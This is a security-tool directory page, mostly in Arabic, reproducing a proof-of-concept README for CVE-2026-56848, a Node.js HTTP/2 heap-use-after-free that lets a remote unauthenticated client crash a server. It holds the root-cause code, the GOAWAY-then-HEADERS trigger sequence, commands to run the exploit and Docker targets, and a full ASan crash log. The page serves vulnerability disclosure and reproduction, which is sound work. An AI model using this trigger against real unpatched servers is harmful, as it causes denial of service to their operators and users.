Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-56848 — استغلال PoC لثغرة CVE-2026-56848، وهي ثغرة heap-use-after-free في Node.js HTTP/2 تتيح حجب الخدمة (DoS) عن بُعد دون مصادقة. يشمل مشغل raw-socket، وتعليمات بناء ASan، وهدفًا مبنيًا على Docker. | Kitploit
أدوات/GitHubGitHub/open-flaw/cve-2026-56848
تحليل الثغرات الأمنيةتحليل الشفرة الديناميكي (DAST)الاستغلالأمن الويبأمن الشبكات
GitHubopen-flaw/cve-2026-56848

CVE-2026-56848

استغلال PoC لثغرة CVE-2026-56848، وهي ثغرة heap-use-after-free في Node.js HTTP/2 تتيح حجب الخدمة (DoS) عن بُعد دون مصادقة. يشمل مشغل raw-socket، وتعليمات بناء ASan، وهدفًا مبنيًا على Docker.

عرض المستودع
منذ 2 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-56848

وصف NVD

يوجد خلل في معالجة HTTP/2 في Node.js يسمح باستدعاء nghttp2_session_mem_send() بشكل إعادة الدخول (re-entrant) بينما يكون nghttp2_session_mem_recv() قيد التنفيذ، مما يؤدي إلى استخدام الذاكرة المحررة (heap-use-after-free).

تؤثر هذه الثغرة على Node.js 26.x و24.x و22.x.

(ملاحظة: تنطبق الإصدارات المذكورة في الوصف فقط على حزمة nodejs المنبع (upstream) وليس على حزمة nodejs الموزعة عبر Alpine.

خط الإصدارالمعرض للخطرالإصلاح
22.x (LTS)≤ 22.23.122.23.2
24.x (LTS)≤ 24.18.024.18.1
26.x≤ 26.5.026.5.1
  • الخطورة: عالية (CVSS 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — رفض خدمة (DoS) عن بُعد بدون مصادقة عبر إفساد الكومة)
  • أُبلغ بواسطة: hahahkim (HackerOne #3833629)
  • أُصلح بواسطة: Matteo Collina (mcollina)
  • Commit الإصلاح (v22): daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)
  • كُشف عنه: إصدارات أمان Node.js، 2026-07-29

السبب الجذري

يُجبر Http2Stream::SubmitRstStream() في src/node_http2.cc على تنظيف بيانات الإرسال المعلقة قبل وضع RST_STREAM في قائمة الانتظار:```cpp void Http2Stream::SubmitRstStream(const uint32_t code) { CHECK(!this->is_destroyed()); code_ = code;

// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }

// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }

FlushRstStream(); }

root@kitploit:~
يستدعي `SendPendingData()` الدالة `nghttp2_session_mem_send()` ([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970)). الحارس الوحيد لإعادة الدخول هو `is_sending()`، الذي يحمي من *الإرسال أثناء الإرسال* (كتابة قيد التنفيذ بالفعل) — **وليس من الإرسال أثناء الاستقبال**. عندما يعمل `SubmitRstStream()` من داخل سلسلة استدعاءات `nghttp2_session_mem_recv()` ("في النطاق")، تقوم عملية التفريغ بتشغيل `mem_send()` بشكل متداخل.

يعمل `mem_send()` المتداخل على إرسال الإطارات التي تعمل معالجة جانب الإرسال فيها على هدم التدفقات (`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → تحرير كائن `Http2Stream` الخاص بـ C++). لا يزال التدفق المحرَّر مُشارًا إليه من عملية الاستقبال الجارية: يواصل `SubmitRstStream()` نفسه التنفيذ على `this` المحرَّر (حيث يقرأ `FlushRstStream()` التالي `is_destroyed()`)، ويواصل `mem_recv()` الخارجي اجتياز حالة الإطار/الترويسة للتدفق المغلق → **heap-use-after-free**.

### سلسلة التشغيل (كلها داخل استدعاء واحد لـ `nghttp2_session_mem_recv()`)

1. يرسل المهاجم `GOAWAY(lastStreamID=0, NO_ERROR)` متبوعًا فورًا بإطارات `HEADERS` لتدفقات جديدة (3، 5، 7، …) في مقطع TCP واحد.
2. تعالج `mem_recv()` الخاصة بالخادم إطار GOAWAY → `session.close()` الخاص بـ JS → `session.closed = true` ويتم **إيداع GOAWAY صادر لكن لم يُرسَل بعد**.
3. ترفض nghttp2 التدفقات الواردة الجديدة فقط بمجرد أن يكون GOAWAY قد *أُرسل* فعليًا (`session_allow_incoming_new_stream()` يتحقق من `TERM_ON_SEND | SENT`، وليس `SUBMITTED`)، لذا يظل `HEADERS(3)` مقبولًا.
4. يرى `onSessionHeaders()` الخاص بـ JS تدفقًا جديدًا على جلسة مغلقة ويرفضه: `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js).
5. يعمل `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` الخاص بـ C++ في النطاق (داخل `mem_recv`)، و`REFUSED_STREAM ≠ CANCEL` → ينتقل إلى `SendPendingData()` → **إعادة دخول `nghttp2_session_mem_send()`**.
6. يُفرِّغ الإرسال المتداخل إطار GOAWAY الصادر؛ وتُغلق معالجة GOAWAY في جانب الإرسال لدى nghttp2 التدفقات الواردة ذات المعرّف الأكبر من 1 (`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`) وتُطلق `on_stream_close` → يحرر `Http2Stream::Destroy()` كائن تدفق C++ للتدفق 3.
7. يتراجع التنفيذ عائدًا إلى `SubmitRstStream()` على الكائن المحرَّر (`FlushRstStream()`)، ويستأنف `mem_recv()` الخارجي على حالة جلسة/تدفق تالفة → UAF.

الدليل من `NODE_DEBUG_NATIVE=http2` على خادم قابل للاستغلال (قراءة واحدة بحجم 86 بايت):```
receiving 86 bytes, offset 0
complete frame received: type: 7          ← GOAWAY
submitting goaway                          ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3             ← still accepted (only SUBMITTED)
handle headers frame for stream 3          ← JS: session.closed → refuse
sending rst_stream with code 7             ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data                       ← RE-ENTRANT mem_send()
stream 3 closed with code: 7               ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream     ← Http2Stream freed mid-recv

التوقيع السلوكي

مخرجات مستوى الاتصال متطابقة في النسخ القابلة للاستغلال والنسخ المصححة (كلاهما ينتهي بإرسال GOAWAY الصادر فقط — في النسخ القابلة للاستغلال، يتم إرسال RST ضد دفق مغلق بالفعل؛ وفي النسخ المصححة، يتجاهل nghttp2 طلبات RST المعلّقة بمجرد خروج GOAWAY أولاً). الفرق داخلي، ويمكن رؤيته عبر NODE_DEBUG_NATIVE=http2:

  • قابلة للاستغلال: تظهر sending pending data بين sending rst_stream with code 7 و stream 3 closed with code: 7 — حيث تعمل mem_send() المعاد دخولها (re-entrant) أثناء الاستقبال وتغلق/تدمر الدفق 3 بينما لا تزال mem_recv() قيد التنفيذ (انهيار تحت ASan).
  • مصححة: لا توجد sending pending data بينهما — يتم فقط وضع RST في قائمة الانتظار؛ ولا يُغلق الدفق 3 إلا أثناء التدفق العادي بعد الاستقبال.

إثبات المفهوم```

server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger

root@kitploit:~
### تشغيل سريع```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000                       # NODE_BIN=/path/to/node for a specific binary

# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200

./bin/node (النسخة المحلية من بناء ASan المستخدمة أدناه) غير متتبَّعة في git — ابنِها باتباع التعليمات الواردة تحت "بناء Node.js ضعيف مُجهَّز بـ ASan"، أو استخدم مسار Docker.

يُبلِّغ الاستغلال عن حالة كل اتصال؛ SKIPPED (no handshake) بعد أول اتصال يعني أن الهدف قد مات بالفعل جراء الهجوم.

Docker

ملف Dockerfile يُنشئ إصدارًا مستهدفًا ضعيفًا v22.23.1 مع ASan داخل حاوية (لا حاجة إلى سلسلة أدوات محلية — يكفي خادم Docker):```bash docker build -t cve-2026-56848 . docker run --rm -p 8000:8000 --name cve-target cve-2026-56848

from the host, in another terminal:

you could reuse ./bin/node

node exploit.js --port 8000 --iterations 10

inspect the crash (ASan report) and exit code:

docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed

root@kitploit:~
نصيحة: إذا كان لديك بالفعل ثنائي `node` مُجهَّز بـ ASan مبني في مكان آخر، فتخطَّ
عملية التجميع الطويلة واحزمه مباشرةً:```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
  bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
    && cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
  --change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
  --change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
  cve-img cve-2026-56848:verified

تم التحقق ضد الهدف المُشغَّل في حاوية: أول اتصال هجومي يُنتج ERROR: AddressSanitizer: heap-use-after-free ... ABORTING في docker logs و تخرج الحاوية (133 على linux/arm64) — نفس UAF كما في تشغيل ASan الأصلي.

نسخة عادية (غير ASan) باستخدام صورة رسمية، للقصف دون بناء مخصص:```bash docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000

root@kitploit:~
ملاحظة: إذا فشل ASan في البدء داخل الحاوية مع خطأ في نطاق الذاكرة الظليلة (يُلاحَظ على بعض أنوية ARM64 مع ارتفاع `vm.mmap_rnd_bits`)، اخفض قيمة الإنتروبيا على مضيف Docker: `sysctl vm.mmap_rnd_bits=28`.

### بناء Node.js ضعيف مُجهَّز بـ ASan```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)

# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
  CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  LDFLAGS="-fsanitize=address" \
  ./configure --debug --ninja && ninja -C out/Debug node

بناء ASan يستنسخ خطأ heap-use-after-free بشكلٍ حتمي (عادةً خلال أول اتصالات قليلة). لا تتعطل بنيات الإصدار العادية عادةً لأن الكتلة المحررة لا يُعاد استخدامها فورًا؛ الإرسال المتكرر يرفع الاحتمالات، لكن ASan هو الطريقة الموثوقة لإظهار الفساد.

نتائج مُتحققة

الهدفالنتيجة
v22.23.1 + ASan (يحتوي على ثغرة)ينهار عند أول اتصال هجومي: heap-use-after-free → SIGABRT، خروج المُشغِّل 0
v22.23.2 (مُصحَّح)يصمد أمام جميع الاتصالات، خروج المُشغِّل 1

تقرير ASan (مقتطف، بناء v22.23.1 لنظام macOS على معمارية arm64):``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0 #0 session_end_stream_headers_received nghttp2_session.c:3711 #1 session_after_header_block_received nghttp2_session.c:3824 #2 nghttp2_session_mem_recv2 nghttp2_session.c:6506 #3 nghttp2_session_mem_recv nghttp2_session.c:5421 #4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959

freed by thread T0 here: ... #5 nghttp2_session_destroy_stream nghttp2_session.c:1369 #6 nghttp2_session_close_stream nghttp2_session.c:1350 #7 session_close_stream_on_goaway nghttp2_session.c:2442 #8 session_after_frame_sent1 nghttp2_session.c:2665 #9 nghttp2_session_mem_send2 nghttp2_session.c:3144 ← re-entrant send #10 node::http2::Http2Session::SendPendingData() node_http2.cc:1970 #11 node::http2::Http2Stream::SubmitRstStream(...) node_http2.cc:2535

root@kitploit:~
يقرأ `mem_recv()` الخارجي `stream->shut_flags` من `nghttp2_stream` الخاص بالدفق 3 — الذي تم تحريره بواسطة معالجة GOAWAY في `mem_send()` المُعاد الدخول — وهو بالضبط إعادة الدخول الموصوفة في النشرة.```zsh
➜ ./bin/node  server.js 8000
[server] listening on 8000
=================================================================
==46874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003cdc at pc 0x00010984c5fc bp 0x00016b3e8c60 sp 0x00016b3e8c58
READ of size 1 at 0x60d000003cdc thread T0
    #0 0x00010984c5f8 in session_end_stream_headers_received nghttp2_session.c:3711
    #1 0x00010983e7d8 in session_after_header_block_received nghttp2_session.c:3824
    #2 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
    #3 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
    #4 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
    #5 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
    #6 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
    #7 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
    #8 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
    #9 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
    #10 0x0001085e025c in uv__read stream.c:1148
    #11 0x0001085d5568 in uv__stream_io stream.c:1208
    #12 0x000108600844 in uv__io_poll kqueue.c:423
    #13 0x000108599e94 in uv_run core.c:460
    #14 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
    #15 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
    #16 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
    #17 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
    #18 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
    #19 0x00010928e3d4 in main node_main.cc:97
    #20 0x000189482b94  (<unknown module>)

0x60d000003cdc is located 124 bytes inside of 136-byte region [0x60d000003c60,0x60d000003ce8)
freed by thread T0 here:
    #0 0x000117991424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d424)
    #1 0x000104bebe3c in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:261
    #2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
    #3 0x000105111f80 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::FreeImpl(void*, void*) node_mem-inl.h:83
    #4 0x00010981a450 in nghttp2_mem_free nghttp2_mem.c:61
    #5 0x000109825aa8 in nghttp2_session_destroy_stream nghttp2_session.c:1369
    #6 0x0001098258ac in nghttp2_session_close_stream nghttp2_session.c:1350
    #7 0x00010983002c in session_close_stream_on_goaway nghttp2_session.c:2442
    #8 0x000109828e64 in session_after_frame_sent1 nghttp2_session.c:2665
    #9 0x000109826804 in nghttp2_session_mem_send2 nghttp2_session.c:3144
    #10 0x000109826724 in nghttp2_session_mem_send nghttp2_session.c:3124
    #11 0x00010509e878 in node::http2::Http2Session::SendPendingData() node_http2.cc:1970
    #12 0x0001050a359c in node::http2::Http2Stream::SubmitRstStream(unsigned int) node_http2.cc:2535
    #13 0x0001050b973c in node::http2::Http2Stream::RstStream(v8::FunctionCallbackInfo<v8::Value> const&) node_http2.cc:3044
    #14 0x0001086163d4 in Builtins_CallApiCallbackGeneric+0xb4 (node:arm64+0x103c0e3d4)
    #15 0x00010861432c in Builtins_InterpreterEntryTrampoline+0x10c (node:arm64+0x103c0c32c)
    #16 0x0001086117c8 in Builtins_JSEntryTrampoline+0xa8 (node:arm64+0x103c097c8)
    #17 0x0001086114b0 in Builtins_JSEntry+0x90 (node:arm64+0x103c094b0)
    #18 0x000105ff5358 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:418
    #19 0x000105ff408c in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) execution.cc:504
    #20 0x00010590caac in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) api.cc:5485
    #21 0x000104af5168 in node::InternalMakeCallback(node::Environment*, v8::Local<v8::Object>, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context, v8::Local<v8::Value>) callback.cc:237
    #22 0x000104b69780 in node::AsyncWrap::MakeCallback(v8::Local<v8::Function>, int, v8::Local<v8::Value>*) async_wrap.cc:665
    #23 0x0001050a463c in node::http2::Http2Session::HandleHeadersFrame(nghttp2_frame const*) node_http2.cc:1567
    #24 0x000105092e68 in node::http2::Http2Session::OnFrameReceive(nghttp2_session*, nghttp2_frame const*, void*) node_http2.cc:1107
    #25 0x00010982b5b0 in session_call_on_frame_received nghttp2_session.c:3229
    #26 0x00010983e72c in session_after_header_block_received nghttp2_session.c:3815
    #27 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
    #28 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
    #29 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959

previously allocated by thread T0 here:
    #0 0x000117991520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
    #1 0x000104bebe58 in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:265
    #2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
    #3 0x000105111f3c in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::MallocImpl(unsigned long, void*) node_mem-inl.h:77
    #4 0x00010981a3a0 in nghttp2_mem_malloc nghttp2_mem.c:57
    #5 0x000109824728 in nghttp2_session_open_stream nghttp2_session.c:1227
    #6 0x000109829ee8 in nghttp2_session_on_request_headers_received nghttp2_session.c:3910
    #7 0x00010983c454 in session_process_headers_frame nghttp2_session.c:4058
    #8 0x000109833ad4 in nghttp2_session_mem_recv2 nghttp2_session.c:5657
    #9 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
    #10 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
    #11 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
    #12 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
    #13 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
    #14 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
    #15 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
    #16 0x0001085e025c in uv__read stream.c:1148
    #17 0x0001085d5568 in uv__stream_io stream.c:1208
    #18 0x000108600844 in uv__io_poll kqueue.c:423
    #19 0x000108599e94 in uv_run core.c:460
    #20 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
    #21 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
    #22 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
    #23 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
    #24 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
    #25 0x00010928e3d4 in main node_main.cc:97
    #26 0x000189482b94  (<unknown module>)

SUMMARY: AddressSanitizer: heap-use-after-free nghttp2_session.c:3711 in session_end_stream_headers_received
Shadow bytes around the buggy address:
  0x60d000003a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x60d000003a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x60d000003b00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x60d000003b80: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x60d000003c00: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
=>0x60d000003c80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
  0x60d000003d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x60d000003d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x60d000003e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x60d000003e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x60d000003f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==46874==ABORTING
[1]    46874 abort      ./bin/node server.js 8000

المراجع

  • إصدارات Node.js الأمنية — 29 يوليو 2026
  • Commit الإصلاح (v22.23.2): http2: تأجيل rst stream أثناء وجوده في النطاق
  • اختبار الانحدار: test-http2-rst-stream-reentrancy.js
  • nodejs-private/node-private#921
  • تقرير HackerOne 3833629 (لم يُنشر بعد)
  • CVE-2026-56848 — مركز تهديدات IONIX
  • صفحة CVE لـ Red Hat
تنزيل الأداة